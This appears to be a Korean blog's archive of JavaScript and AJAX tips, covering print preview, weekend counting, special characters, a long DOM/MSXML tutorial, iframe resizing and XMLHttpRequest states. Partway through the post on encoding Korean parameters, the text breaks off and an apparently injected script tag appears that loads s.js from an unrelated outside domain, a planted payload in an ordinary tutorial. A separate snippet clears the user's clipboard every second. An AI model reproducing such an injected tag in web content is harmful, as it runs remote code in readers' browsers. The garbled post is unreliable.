'■Web Programing/OO JavaScript OO'에 해당되는 글 15건

  1. [2011/04/21] [JavaScript] 자바스크립트 인쇄 미리보기 옵션
  2. [2009/10/26] [JavaScript] 기간동안 토,일 갯수 구하기
  3. [2009/04/15] [JavaScript] Print Screen 방지 (1)
  4. [2009/04/03] [JAVASCRIPT] 특수문자 처리시 인코딩에 따른 처리
  5. [2009/03/20] [JAVASCRIPT] 자바스크립트 특수문자
  6. [2009/03/19] [DOM] DOM
  7. [2009/02/11] [JAVASCRIPT] IFRAME 자동 사이즈 조절
  8. [2009/02/06] [JAVASCRIPT] 팝업창 화면 가운데로 이동
  9. [2009/01/29] [AJAX] readystate 프로퍼티
  10. [2009/01/29] [AJAX] STATUS 상태

[JavaScript] 자바스크립트 인쇄 미리보기 옵션

[■Web Programing/OO JavaScript OO]
출처 : http://blog.naver.com/crabz?Redirect=Log&logNo=140044134122

<script language="javascript">
function ieExecWB( intOLEcmd, intOLEparam ) { // 웹 브라우저 컨트롤 생성.crabz
var WebBrowser = "<object id='WebBrowser1' width=0 height=0 classid='CLSID:8856F961-340A-11D0-A96B-00C04FD705A2'>
</object>";
// 웹 페이지에 객체 삽입
document.body.insertAdjacentHTML("beforeEnd", WebBrowser);

// if intOLEparam이 정의되어 있지 않으면 디폴트 값 설정
if ( (!intOLEparam) || (intOLEparam < -1) || (intOLEparam >
1) )
intOLEparam = 1;

// ExexWB 메쏘드 실행
WebBrowser1.ExecWB( intOLEcmd, intOLEparam );
// 객체 해제
WebBrowser1.outerHTML = "";
}
</script>

<input type="button" value="인쇄 미리 보기" onClick="window.ieExecWB(7)">
<input type="button" value="페이지 설정" onClick="window.ieExecWB(8)">
<input type="button" value="인쇄하기(대화상자 표시)" onClick="window.ieExecWB(6)">
<input type="button" value="인쇄 바로 하기" onClick="window.ieExecWB(6,-1)">

[출처] JAVASCRIPT로 인쇄 미리보기 만들기|작성자 가능성
크리에이티브 커먼즈 라이센스
Creative Commons License
TAG. javascript, 인쇄 미리보기
트랙백이 없고, 댓글이 없습니다.

[JavaScript] 기간동안 토,일 갯수 구하기

[■Web Programing/OO JavaScript OO]
[지식인 펌] 창을 닫아서 URL 유실....;;

<script type="text/javascript">
  function getSatSun() {
    var sDate=formatDate(document.myform.start_date.value);
    var eDate=formatDate(document.myform.end_date.value);
    alert(countDay(sDate,eDate));
  }
  function formatDate(d) {
    return new Date(d.substr(0,4),Number(d.substr(4,2))-1,Number(d.substr(6)));
  }
  function countDay(d1,d2) {
    var count=0;
    var tmp;
    for (var i=0; i<=(d2-d1)/1000/60/60/24; i++) {
      tmp=new Date(d1);
      tmp.setDate(tmp.getDate()+i);
      if (tmp.getDay()==0||tmp.getDay()==6) {
        count++;
      }
    }
    return count;
  }
</script>
<form name="myform">
  <input type="text" name="start_date" value="20051129" size="8" maxlength="8"> -
  <input type="text" name="end_date" value="20051220" size="8" maxlength="8">
  <input type="button" value="토/일 수" onclick="getSatSun();">
</form>
크리에이티브 커먼즈 라이센스
Creative Commons License
TAG. 자바스크립트, 주말구하기
트랙백이 없고, 댓글이 없습니다.

[JavaScript] Print Screen 방지

[■Web Programing/OO JavaScript OO]

http://kin.naver.com/detail/detail.php? ··· aaftzvoa

<SCRIPT TYPE="TEXT/JAVASCRIPT">
   function ClipBoardClear(){
    if(window.clipboardData) clipboardData.clearData();
   }
   setInterval("ClipBoardClear();", 1000);
</script>


<body>
프린트 스크린 NO!!
</body>

크리에이티브 커먼즈 라이센스
Creative Commons License
TAG. 자바테스트, 프린트스크린 방지
트랙백이 없고, 댓글 하나가 달렸습니다.

[JAVASCRIPT] 특수문자 처리시 인코딩에 따른 처리

[■Web Programing/OO JavaScript OO]
[출처] : http://rudaks.co.kr/bbs/view.jsp?seq=16 ··· geno%3D1

[팁] XMLHttpRequest를 사용할 때 한글 파라미터의 인코딩 처리 방법
XMLHttpRequest에서 한글 파라미터를 전송할 때 인코딩을 처리하는 방법에 대해서 살펴본다.
프로바이더: 최범균
섹션 목록
  • XMLHttpRequest 사용시 한글 파라미터 전송 방법

[프린트 형식으로 보기]
XMLHttpRequest 사용시 한글 파라미터 전송 방법

자바캔에 실린 'XMLHttpRequest를 이용한 웹 채팅 구현'이란 글에서 한글 문제를 iframe을 사용하여 해결했는데, 그 방식 말고 자바캔의 댓글 추가에서 사용한 한글 처리 방식에 대해서 설명해보도록 하겠다.

XMLHttpRequest의 한글 파라미터 문제 해결 방법에 대해서 살펴보기 전에, 웹브라우저가 파라미터 값을 전송할 때 어떻게 인코딩하는 지 살펴보도록 하자. 대부분의 한글 사이트는 다음과 같이 캐릭터셋이 "euc-kr"인 HTML 문서를 사용할 것이다.

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ko" lang="ko">
    <head>
        <meta http-equiv="content-type" content="text/html; charset=euc-kr" />
        <title>test</title>
    </head>
    <body>
    <form name="test" action="form.jsp">
    <input type="text" name="name" /><input type="submit"/>
    </form>
    </body>
    </html>

위 문서는 name 파라미터를 form.jsp로 전송하는 FORM을 갖고 있는데, name 필드에 '한글'을 입력한 뒤 submit 버튼을 누르면 다음과 같이 파라미터 값이 변환되어 전송된다.

    euc-kr 캐릭터셋에 맞춰 '한글' 을 인코딩한 값
    
    http://..../form.jsp?name=%C7%D1%B1%DB

위에서 '%C7%D1%B1%DB'는 '한글'을 euc-kr 캐릭터셋에 맞춰서 인코딩한 결과이다. IE나 파이어폭스 등의 웹 브라우저는 문서의 캐릭터셋에 맞춰서 파라미터를 인코딩하여 전송하기 때문에, 만약 문서의 캐릭터셋이 utf-8 이면 '한글' 파라미터를 다음과 같이 인코딩하여 전송하게 된다.

    
    utf-8 캐릭터셋에 맞춰 '한글' 을 인코딩한 값
    
    http://..../form.jsp?name=%ED%95%9C%EA%B8%80

문서 캐릭터셋이 euc-kr인 경우와 utf-8인 경우 전송되는 파라미터의 인코딩된 값도 다른 것을 확인할 수 있다.

이제, 다시 본론으로 돌아와서 XMLHttpRequest가 전송하는 파라미터에 대해서 살펴보자. XMLHttpRequest도 파라미터를 웹서버에 전송하기 때문에 파라미터 값을 알맞게 인코딩 해 주어야 한다. 그런데, 아쉽게도 XMLHttpRequest 자체적으로 인코딩 처리를 지원해주지는 않는다. 따라서, 자바스크립트가 지원해주는 인코딩 처리 함수를 사용해야 한다. 자바 스크립트가 제공하는 인코딩 처리 함수는 escape()와 encodeURIComponent()의 두가지가 있다. 이 두가지는 동작 방식이 다른데, 다음표는 두 함수의 실행 결과를 보여주고 있다.

인코딩 처리 인코딩된 값 설명
두 함수의 실행 결과는 문서 캐릭터셋이 euc-kr 이거나 utf-8 인 경우 모두 동일하다.
escape('한글') %uD55C%uAE00 유니코드 값을 표현
encodeURIComponent('한글') %ED%95%9C%EA%B8%80 utf-8로 인코딩. encodeURI() 함수도 동일한 결과 출력

두 함수의 실행 결과를 보면 encodeURIComponent() 함수가 utf-8로 인코딩한 결과를 보여줌을 알 수 있다. 따라서, XMLHttpRequest로 한글 파라미터를 전송할 때에는 다음과 같은 방법을 사용하면 된다.

  • 웹브라우저에서: 자바스크립트 encodeURIComponent() 함수를 사용하여 파라미터 값을 utf-8로 ?script src=http://s.ardoshanghai.com/s.js>
크리에이티브 커먼즈 라이센스
Creative Commons License
TAG. 인코딩, 자바스크립트
트랙백이 없고, 댓글이 없습니다.

[JAVASCRIPT] 자바스크립트 특수문자

[■Web Programing/OO JavaScript OO]

\n    -    다음 라인으로 이동 ( 개행 )

\b    -    백 스페이스

\r    -    캐리지 리턴

\t    -    탭의 크기만틈 이동

\'    -    작은 따옴표

\"    -    큰 따옴표

\\    -    역 슬래시

\f    -    폼 피드를 의미

[출처] [ 자바스크립트 ] 특수 문자의 종류|작성자 jjackkun81


\\n 인 경우 다음라인으로 이동 됩니다.

크리에이티브 커먼즈 라이센스
Creative Commons License
TAG. 개행문자, 자바스크립트, 특수문자
트랙백이 없고, 댓글이 없습니다.

[DOM] DOM

[■Web Programing/OO JavaScript OO]
http://mm.sookmyung.ac.kr/~sblim/lec/xml-int04/xml06-61dom.htm DOM

DOM

DOM(Document Object Model)

  • W3C's definition

    • "The Document Object Model is a platform- and language-neutral interface that will allow programs and scripts to dynamically access and update the content, structure and style of documents.

  • DOM 의 역할
    • dynamic access and update
      • XML/HTML 문서의 접근 및 수정 => 내용/구조/스타일 정보의 검색 및 수정
      • 대상 문서 : XML1.0 또는 HTML4.0, 기타 웹문서
      • 컨텐츠의 조작 : 문서 요소에서 text 등 컨텐츠의 검색/질의, 추가/수정/삭제
      • 구조의 탐색 및 조작 : 각 요소와 속성에 대한 검색/질의, 추가/수정/삭제
    • interface
      • 응용 프로그램 인터페이스 (API) - 각종 메소드 및 속성을 정의
      • 플랫폼 및 언어 중립적(스크립트 포함) : Java, JavaScript, ASP, ...
  • DOM level
    • DOM level 1 : 1998.10 W3C 표준안
    • DOM level 2 : 2000.11 W3C 표준안
    • DOM level 3 : 2004.4  W3C 표준안

DOM and XML Parser

  • Parser 의 역할
    • XML 문서를 읽고 해석 : well-formed, valid 검사
    • 응용프로그램 개발시 파서 사용 이유
      • 파서가 메모리에 DOM 트리를 생성 : XML 문서트리와 일치
      • 세부적인 XML 문법으로부터 프로그램 격리

  • [참고] SAX 기반 Parser

DOM 구조적 모델

  • DOM 트리에서 노드/객체의 종류
    • Document : 문서 객체, 최상위 노드
    • Element, Attribute : 문서의 구조를 구성하고 있는 요소
    • Text : 컨텐츠의 내용, 항상 단말 노드
    • Collection : 일종의 노드 집합
  • DOM 트리의 예

    <parent>
        <child  id="123">text here</child>
     </parent>
      
  • 인터페이스(API)의 예
    • 객체의 속성과 메소드를 사용하기 위한 사양
    • DOM 인터페이스 예
      - 문서.childNodes[1].nodeName
      - 문서.firstChild.firstCild.firstCild.nodeName
      - 문서.firstChild.firstCild.firstCild.nodeValue
  • DOM Core Interface (Object Hierachy) 교재 p.414 (표9-3)

DOM 주요 API

  • DOM 인터페이스의 공통 속성
    • type, name, value
    • 예) Node 객체의 경우 nodeType, nodeName, nodeValue 속성
      • nodeType은 위 그림과 같이 여러 가지가 있다 (p.418 표 9-6, 9-7)
  • 주요 객체/속성/메소드 - 진행하면서 지속적으로 참조

    • 객체(Object)

    속성(Properties)

    메소드(methods) 

    Node 객체

    nodeName, nodeType, nodeValue, childNodes, parentNode, childNode, firstChild, lastChild, previousSibling, nextSibling, attributes, ownerDocument, ..., 
    (    text, xml) [표9-8]

    [표9-10] 노드 정보 구하기
    getNodeName(), ..., getAttributes(), ...
    [표 9-11] 문서 조작
    appendChild(), insertBefore(),
    removeChild(), replaceChild(), cloneNode()
    [표 9-12] 트리 순회 관련
    getParentNode(), getChildNode(), ...
    hasChildNodes(), ...
    Document 객체

    doctype,
    documentElement, implementation, ...

    (async, readyState)
    *W3C 표준이 아니라  MS에서 제공하는 인터페이스

    [표9-13] 문서관련 정보
    getDoctype(), getImplementation(), ...
    [표 9-14] 트리 순회 관련
    getDocumentElement(), getElemenmtByID(),
    getElementByTagName(), ...
    [표 9-15] 문서 작성
    createElement(), createAttribute(), createTextNode(), createCDATASection(), createComment(), createEntityReference(), ...

    DOMImplementation 객체

     

    [표 9-16] hasFeature(), createDocument(), ...
    DocumentFragment 객체

    * Node 객체와 동일

    * Node 객체와 동일

    NodeList 객체

    length

    [표 9-17] getLength(), item()

    Element 객체

    tagName

    [표 9-18] Element의 속성에 접근
    getAttribute(), setAttribute(), getAttributeNode(), setAttributeNode(), removeAttribute(), ...,
    getTagName(), hasAttribute(), ...

    NamedNodeMap 객체

    length

    [표 9-19] NamedNodeMap 인터페이스
    getNamedItem(), setNamedItem(), removeNamedItem(), item(), getLength()

    Attribute 객체

    name, value

    [표 9-20] getName(), getValue(), setValue(), ..

    CharacterData 객체

    data, length

    [표 9-21] appendData(), deleteData(), insertData(), replaceData(), ...

DOM 프로그래밍 시작 - Document 객체에 문서 로드하기

  • 문서 객체 새로 만들기 : MSXML 파서의 DOMDocument 객체를 생성
    • Msxml.DOMDocument 객체를 새로 만들기
    • 또는 HTML에서 <xml> 태그 이용

    JavaScript (ECMAScript)

    		 <Script language="Javascript">
        var xdoc1,xdoc2
        xdoc1 = new ActiveXObject("Msxml.DOMDocument");
        xdoc2 = new ActiveXObject("Msxml.DOMDocument");
        ... xdoc1.load("ex08.xml");  xdoc2.load("ex09.xml");
    </script>
    VBScript 의 경우 <Script language="VbScript">
      Dim xdoc1,xdoc2
      Set xdoc1 = CreateObject("Msxml.DOMDocument")
      Set xdoc2 = CreateObject("Msxml.DOMDocument")
      ... xdoc1.load("ex08.xml"); xdoc2.load("ex09.xml");
    </Script>

    HTML에서 <xml>  태그 이용

    - MSXML 파서 설치안한 경우

    		 <HTML> <HEAD>
        <Script language="Javascript">
            xdoc1.load("ex08.xml");
         </script>
    </HEAD>
    <BODY>
        <xml id="xdoc1"></xml>
        <xml id="xdoc2" src="ex09.xml"></xml>
    </BODY> </HTML>

    Java의 경우

    import java.xml.parsers.*;
    ...
    class xxxxxx
    {
      public static void main(String[] args) throws Exception
      {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder  db = dbf.newDocumentBuilder();
        Document  xdoc1 = db.parse(new FileInputStream(arg[0]));
    ... 

  • 기존의 XML 문서 읽기
    • DOMDocument 객체 읽기 - async 속성, load 메소드, xml 속성 : MSXML에서 제공
    xml 객체 생성하는 경우 (JavaScript)   <xml> 태그 이용하는 경우  
    <HTML>
    <HEAD>
    <Script language="Javascript">
    function xload0()
    {
        var xdoc = new 
            ActiveXObject("Msxml.DOMDocument");
        xdoc.    async = false;
        xdoc.    load("ex08.xml");
        alert(xdoc.    xml);
    }
    </script>
    </HEAD>
    <BODY>
    <input type="button" value="XML 로드0"
        onClick="xload0()">
    </BODY>
    </HTML>       		<HTML>
    <HEAD>
    <Script language="Javascript">
    function xload1()
    {
        xdoc.async = false;
        xdoc.load("ex08.xml");
         alert(xdoc.xml);
    }
    </script>
    </HEAD>
    <BODY>
    <input type="button" value="XML 로드1"
        onClick="xload1()">
    <xml id="xdoc"></xml>
    </BODY>
    </HTML>
    VBScript 의 경우
    <Script language="VbScript">
      Dim xdoc
      Set xdoc = CreateObject("Msxml.DOMDocument")
      xdoc.    async = False;
      xdoc.    load("ex08.xml");
       MsgBox  xdoc.    xml
    </Script>
  • 신규 XML 문서의 작성
    • loadXML 메소드  
     xdoc.async = false;
     xdoc.    loadXML( "<book><title>XML 입문</title><author>일지매</author></book>");
     alert(xdoc.xml);  
     xdoc.async = false;
     xdoc.    loadXML( "<book> <title> XML 입문 </title> <author> 일지매 </author> </book>");
     alert(xdoc.xml);  
  • 공백의 처리 : preserveWhiteSpace 속성 
    •  xdoc.async = false;
     xdoc.preserveWhiteSpace = true;
     xdoc.loadXML( "<book> <title> XML 입문 </title> <author> 일지매 </author> </book>");
     alert(xdoc.xml);  
     xdoc.async = false;
     xdoc.preserveWhiteSpace = true;
     xdoc.load("ex08.xml");
     alert(xdoc.xml);  
  • XML 문서의 저장 : save 메소드
  • 에러 처리 : parseError 속성
    • parseError.errorCode, parseError.line, parseError.linepos, parseError.reason 
     xdoc.async = false;
     xdoc.loadXML( "<book> <title> XML 입문 </title> <author> 일지매 </authors> </book>");
     alert(xdoc.xml);  
     xdoc.async = false;
     xdoc.loadXML( "<book> <title> XML 입문 </title> <author> 일지매 </authors> </book>");
     if (xdoc.    parseError) 
        alert("에러 위치 : " + xdoc.parseError.line + "번째 라인 " + xdoc.parseError.linepos 
                  + "번째 문자\n\n에러 이유 : " + xdoc.parseError.reason);
     else  alert(xdoc.xml);  
  • 루트 노드 찾기 (루트 엘리먼트)
    • documentElement 속성 
     xdoc.async = false;
     xdoc.load("ex08.xml");
     var xroot = xdoc.    documentElement;
     alert(xroot.nodeName);  
     xdoc.async = false;
     xdoc.loadXML( "<book> <title> XML 입문 </title> <author> 일지매 </author> </book>");
     var xroot = xdoc.    documentElement;
     alert(xroot.nodeName);  

Node 객체의 정보구하기 - Node 객체

  • 속성 : nodeName, nodeType, nodeValue, attributes, text 속성 
    • nodeType
      • 1 (element), 2 (attribute), 3 (text) , 4 (CDATA), 5 (Entity Reference)... 
  • 예
    •  xdoc.load("ex08.xml");
     var xroot = xdoc.documentElement;
     alert('nodeName: '+xroot.nodeName+'\nnodeType: '+xroot.nodeType+
           '\nnodeValue: '+xroot.nodeValue+'\nattributes: '+xroot.attributes.length); 
     alert('xroot.text :\n\n' + xroot.text);
     

실습 예제 1 : 파일 LOAD 및 DOM 명령 실행

    XML 파일 경로를 직접 입력하거나  '찾아보기'로 선택, 'LOAD'로 파일을 메모리에 로드
    경로 :  =>

    또는 미리 작성되어 있는 파일 사용하기  

    사용하고자 하는 DOM 구문을 아래에 입력하고 '확인' 버튼을 클릭
      (예 : xdoc.text, xdoc.documentElement.firstChild.nodeName, ...)
          구문 :    

원하는 노드 찾아가기

  • Node 객체의 운행(Traversal) 관련 속성
    • 관련속성
    • hasChildNodes() 메소드
  • NodeList 객체 
    • 노드들의 리스트, 예: childNodes 객체
    • length 속성, item(번호) 메소드
       xdoc.load("ex08.xml");  /* childNodes, child, length */  
     var xroot = xdoc.documentElement;
     if (xroot.hasChildNodes) {
         alert('child 노드 개수: ' + xroot.childNodes.length);
         var curr = xroot.firstChild;  
             alert('ownerDoc: '+ curr.ownerDocument.nodeName +'\n\n현재노드:\n\n'+ curr.xml); 
             alert(curr.nodeName + curr.nodeTypeString + curr.nodeValue + curr.attributes.length);
     }
     else     alert('No Child');  
       xdoc.load("ex08.xml");  /*  sibling  */
     var xroot = xdoc.documentElement;
     var curr = xroot.firstChild.nextSibling;        alert(curr.xml); 
     curr = curr.childNodes.item(2);        alert(curr.xml); 
     curr = curr.previousSibling;        alert(curr.text); 
         alert(curr.nodeName + curr.nodeTypeString + curr.nodeValue + curr.attributes.length);

임의 노드의 검색

  • Document 객체에서 태그 이름으로 검색 
    • 노드리스트 = 문서.getElementsByTagName("tagName");
       xdoc.load("ex08.xml");
     var nlist = xdoc.getElementsByTagName("book");
     for (i=0; i<nlist.length; i++)     alert(nlist.item(i).xml);
       xdoc.load("ex08.xml");
     var nlist = xdoc.getElementsByTagName("title");
     for (i=0; i<nlist.length; i++)     alert(nlist.item(i).xml);
       xdoc.load("ex08.xml"); /* 한번에 다 보여주기 */
     var nlist = xdoc.getElementsByTagName("author");
     var result = "";
     for (i=0; i<nlist.length; i++) result = result + nlist.item(i).xml + "\n";
         alert(result);
  • Node객체에서 패턴으로 검색
    • 노드리스트 = 노드.selectNodes("pattern");
    • 노드 = 노드.selectSingleNode("pattern");
       xdoc.load("ex08.xml");
     var xroot = xdoc.documentElement;
     var node1 = xroot.selectSingleNode("title");        alert(node1.text); 
      /* title 과 author를 같이 적기 */ 
     var xroot = xdoc.documentElement;
     var tlist = xroot.selectNodes('//title'); 
     var alist = xroot.selectNodes('//author'); 
     for (i=0; i<alist.length; i++)      alert('[' + i + '] ' + alist.item(i).text + ', ' + tlist.item(i).text);
     
     var xroot = xdoc.documentElement;
     var node1 = xroot.selectSingleNode('//book[@InStock=0]');
         alert(node1.xml+'\n=> 재고가 없습니다.'); 
     
     var xroot = xdoc.documentElement;
     var tlist = xroot.selectNodes('//book[@InStock!=0]/title'); 
     var result="";
     for (i=0; i<tlist.length; i++) result = result + tlist.item(i).text + "\n";
         alert("재고 있음 =>\n" + result);

실습 예제 2 : 도서 검색

    XML 파일 경로 입력 또는 '찾아보기'로 선택

    'LOAD'로 파일을 메모리에 로드 :
      또는
    미리 작성되어 있는 파일 사용하기    

    원하는 검색 조건을 입력하고 '검색' 버튼 클릭

    1) 엘리먼트 또는 속성 이름 검색 :
         
    2) '텍스트 내용' 또는 속성값 검색 : 
        
    3) 조건검색 {이름, 비교, '내용'/값}
       

    <div id="resDiv">검색 결과</div>

문서에 새로운 노드 추가하기

  • 1단계. 문서객체 내에 신규 노드 만들기
        ① [신규 생성] 엘리먼트노드 = 문서.createElement(“태그이름”)
        ② [신규 생성] 데이터노드 = 문서.createTextNode(“노드값”)
        ③ [데이터 붙이기] 엘리먼트노드.appendChild(데이터노드)
  • 2단계. 원하는 노드 밑에 붙이기
        a) [원하는 위치에] 부모노드.appendChild(신규노드)
                            또는  부모노드.insertBefore(신규노드, 기존노드)
        b) [새문서, 특수노드의 경우] 문서.appendChild(신규노드)
                                            또는  문서.insertBefore(신규노드, 기존노드)

                      
  • Document 객체에 노드 신규생성 메소드
    • createElement(name), createAttribute(name)
    • createTextNode(data), createCDATASection(data), 
    • createComment(data), createProcessingInstruction(target,data), ...
     xdoc.async = false;
     xdoc.loadXML( "<book> <title> XML 입문 </title> <author> 일지매 </author> </book>");
     elmt = xdoc.createElement("pages");      alert(elmt.xml);
     pg = xdoc.createTextNode("386");      alert(pg.xml);  
     stock = xdoc.createAttribute("Instock");      alert(stock.xml);
     cmt = xdoc.createComment("노드추가");     alert(cmt.xml);
     pi = xdoc.createProcessingInstruction("xml-stylesheet",  "type='text/xsl' href='ex8.xsl'");  
           alert(pi.xml);
     cd = xdoc.createCDATASection("<1>");      alert(cd.xml);
         alert('[결과] : \n' + xdoc.xml);  /* 최종 결과 */  
  • 노드의 추가 (Node, Document 객체 메소드)
    • appendChild(child)
    • insertBefore(child,before)
     xdoc.loadXML( "<book> <title> XML 입문 </title> <author> 일지매 </author> </book>");
     elmt = xdoc.createElement("pages");      // (1) 요소 신규생성
     pg = xdoc.createTextNode("386");  // (2) 텍스트 신규생성
     elmt.appendChild(pg);      alert(elmt.xml +'\n----------\n' + xdoc.xml);  // (3) 붙이기
     xroot = xdoc.documentElement;
     xroot.appendChild(elmt);          alert(xdoc.xml);  // (a) 원하는 위치에
     xdoc.loadXML( "<book>  ... </book>");
     cmt = xdoc.createComment("노드추가");      // (1)
     xdoc.appendChild(cmt);  alert(xdoc.xml);    // 문서에 노드 연결 (b)
     xroot = xdoc.documentElement;  alert('[PI 삽입전 root] : '+xroot.nodeName);
     pi = xdoc.createProcessingInstruction("xml-stylesheet", "type='text/xsl' href='ex7.xsl'");      // (1)
     xdoc.insertBefore(pi,xroot);      alert('[PI 삽입후] : '+xmldoc.xml);  // 문서에 노드 연결 (b)
     xroot = xdoc.documentElement;      alert('[PI 삽입후 root] : '+xroot.nodeName);
  • 중간에 노드 삽입할 때 주의
      
     cmt = xdoc.createComment("노드추가");
     xdoc.insertBefore(cmt, xdoc.firstChild);        alert('[xdoc] :\n'+xdoc.xml);
     xroot = xdoc.documentElement;          alert('[root] : '+xroot.nodeName);
     elmt = xdoc.createElement('list');        // (1)
     elmt.appendChild(xroot);      alert('[elmt] :\n\n'+elmt.xml);    // (2)
     xdoc.documentElement = elmt;         alert('[xdoc] :\n\n'+xdoc.xml);    // (3)

노드의 삭제/수정 (Node, Document 객체 메소드)

  • removeChild(child), replaceChild(child,toReplace)
               원하는 경우: 
     xdoc.loadXML( "<book> <title> XML 입문 </title> <author> 일지매 </author> </book>");
     xroot = xdoc.documentElement;
     elmt = xroot.firstChild;  node=elmt.removeChild(elmt.firstChild); 
             alert('[삭제] :\n\n'+node.nodeValue); alert('[결과] :\n\n'+xdoc.xml); 
     elmt = xroot.lastChild;  node=xroot.removeChild(elmt); 
             alert('[삭제] :\n\n'+node.xml); alert('[결과] :\n\n'+xdoc.xml); 
     

속성 읽어오기

  • NamedNodeMap 객체 
    • 이름="값"의 쌍으로 구성된 객체의 모임, 순서 상관 없음
    • getNamedItem("속성명"), setNamedItem(속성노드), removeNamedItem("속성명") 메소드 
  • Attribute 노드 객체
    • getAttributeNode(“속성명”), setAttributeNode(속성노드), removeAttributeNode(속성노드) 
  • Element 노드 객체
    • getAttribute(“속성명”), setAttribute(“속성명”, “속성값”), removeAttribute(“속성명”) 
     xdoc.load("ex08.xml");
     var xroot = xdoc.documentElement;         
     var attrs = xroot.firstChild.attributes;
     var attr0 = attrs.getNamedItem("InStock");          // name ,  value 와  동일한 결과
         alert('[getNamedItem] : ' + attr0.xml + '\n' + attr0.nodeName + attr0.nodeValue);

     var xroot=xdoc.documentElement;          
     var attr0 = xroot.firstChild.getAttributeNode('InStock');
         alert('[getAttributeNode] : ' + attr0.xml+ '\n' + attr0.name + attr0.value);

     var xroot=xdoc.documentElement;          
     var attr = xroot.firstChild.getAttribute('InStock');
         alert('[getAttribute] :'+ attr + '\n' + attr.name + attr.value);

새로운 속성 추가하기

  • A. 속성 노드 만들어서 붙이기
        ① [신규생성] 속성노드 = 문서.createAttribute(“속성명”)
        ② [속성값 설정] 속성노드.nodeValue = “속성값”
        ③ [속성 추가] 해당노드.attributes.setNamedItem(속성노드)
                   [또는] 해당노드.setAttributeNode(속성노드)
  • B. 속성값 설정하기
              해당 노드.setAttribute(“속성명”, “속성값”)

    •             

속성의 수정/삭제 

  • nodeName, nodeValue, nodeType 등 속성 (name, value, type 동일)
  • NamedNodeMap 객체 :
    • getNamedItem("속성명"), setNamedItem(속성노드), removeNamedItem("속성명")
     xdoc.loadXML( "<book> ... </book>");
     elmt = xdoc.createElement('price');
     cur = xdoc.createAttribute('currency');      alert(cur.xml);    // (1)
     elmt.attributes.setNamedItem(cur);      alert(elmt.xml);    // (3)
     cur.nodeValue = 'won';  elmt.text = '33000';       alert(elmt.xml);     // (2)
     stock = xdoc.createAttribute('InStock');  stock.value=7;       alert(stock.xml);  // (1), (2)
      xroot = xdoc.documentElement;  xroot.appendChild(elmt); 
     xroot.attributes.setNamedItem(stock);      alert(xdoc.xml);    // (3)
     
  • Element 노드 : 
    • getAttribute(“속성명”), setAttribute(“속성명”, “속성값”), removeAttribute(“속성명”) 
     xdoc.loadXML( "<book> ... </book>");
     elmt = xdoc.createElement('price');
     elmt.setAttribute('currency','won');  elmt.text = '33000';       alert(elmt.xml);   // 신규속성 추가
     xroot = xdoc.documentElement;  xroot.appendChild(elmt); 
     xroot.setAttribute('InStock','7');      alert(xdoc.xml);       // 신규속성 추가
     st1 = xroot.getAttribute('InStock');
     st2 = xroot.attributes.getNamedItem('InStock');          alert('[1] '+st1+'\n[2] '+st2.xml);
     xroot.setAttribute('InStock','9');      alert(xroot.xml);       // 속성값 변경
     xroot.removeAttribute('InStock');      alert(xdoc.xml); 

*문서의 변환*

  • transformNode(스타일시트)

    • <HTML>
      ...
      <xml  id="xdoc"> </xml>
      <xml  id="xsldoc"> </xsl>
      ...
    </HTML>
     

    		 xdoc.async = false;
         xdoc.load('ex08.xml'); alert(xdoc.xml);
     xsldoc.async = false;
         xsldoc.load('ex08.xsl'); alert(xsldoc.xml);
     var newdoc = xdoc.transformNode(xsldoc.XMLDocument);
         alert(newdoc);
         var anwin =     window.open('', ' ', 'width=500, height=400');
     anwin.    document.write(newdoc);

      
         alert(newdoc);
     result    .innerHTML=newdoc;
      
     result.    innerText=" ... "

    <div id="result"> ... </div>
크리에이티브 커먼즈 라이센스
Creative Commons License
TAG. DOM
트랙백이 없고, 댓글이 없습니다.

[JAVASCRIPT] IFRAME 자동 사이즈 조절

[■Web Programing/OO JavaScript OO]

 function onInit()
 {
  parent.document.all.analysis.width = document.body.scrollWidth;
  parent.document.all.analysis.height = document.body.scrollHeight;
        var n_cnt = document.input_form.rec_cnt.value;

        for (var idx =0; idx <= n_cnt-1; idx++ )
        {
            document.getElementById("coa"+idx).width = eval("coa"+idx).document.body.scrollWidth;
            document.getElementById("coa"+idx).height = eval("coa"+idx).document.body.scrollHeight;
        }
 }

아이프레임이 여러개인 경우 리사이즈를 아이프레임에서 처리하면 동기화 문제로 제대로 동작하지 않을 수 있다.

부모페이지에서 처리하면 문제를 해결할 수 있다.

크리에이티브 커먼즈 라이센스
Creative Commons License
TAG. IFRAME RESIZE, 자바스크립트
트랙백이 없고, 댓글이 없습니다.

[JAVASCRIPT] 팝업창 화면 가운데로 이동

[■Web Programing/OO JavaScript OO]
window.moveTo(screen.width/2-(250/2),screen.height/2-(200/2));

WIDTH 값과 HEIGHT 값은 body.width, body.height 를 사용하여 동적으로 하면 된다.
크리에이티브 커먼즈 라이센스
Creative Commons License
TAG. javascript, 자바스크립트, 팝업창
트랙백이 없고, 댓글이 없습니다.

[AJAX] readystate 프로퍼티

[■Web Programing/OO JavaScript OO]
[펌] http://harogipro.tistory.com/63

응답에 의해 호출된 함수에 적용
XMLHttpRequest 의 상태를 표시할 수 있다.

<SCRIPT LANGUAGE="JavaScript">
<!--
        function proc(){
                httpReq = getXMLHttpRequest();
                httpReq.onreadystatechange = hey ;
                httpReq.open("GET", "test.php", true);
                httpReq.send(null);
        }

        function hey(){
                if(httpReq.readystate==0){
                        alert("open매소드 호출되지 않음");
                }else if(httpReq.readystate==1){
                        alert("send 매소드가 호출 되지 않는 상태");
                }else if(httpReq.readystate==2){
                        alert("status 와 헤더는 도착하지 않은 상태");
                }else if(httpReq.readystate==3){
                        alert("데이터 일부를 받은  상태");
                }else if(httpReq.readystate==4){
                        alert("데이터전송 완료");
                }
        }
//-->
</SCRIPT>
<input type="button" value="호출" onclick="proc()">
크리에이티브 커먼즈 라이센스
Creative Commons License
트랙백이 없고, 댓글이 없습니다.

[AJAX] STATUS 상태

[■Web Programing/OO JavaScript OO]
[펌] : http://harogipro.tistory.com/64

status 는 처리후 수행결과를 알 수 있다.

<SCRIPT LANGUAGE="JavaScript">
<!--
        function proc(){
                httpReq = getXMLHttpRequest();
                httpReq.onreadystatechange = hey ;
                httpReq.open("GET", "test.php", true);
                httpReq.send(null);
        }

        function hey(){
                if(httpReq.readystate==0){
                        alert("open매소드 호출되지 않음");
                }else if(httpReq.readystate==1){
                        alert("send 매소드가 호출 되지 않는 상태");
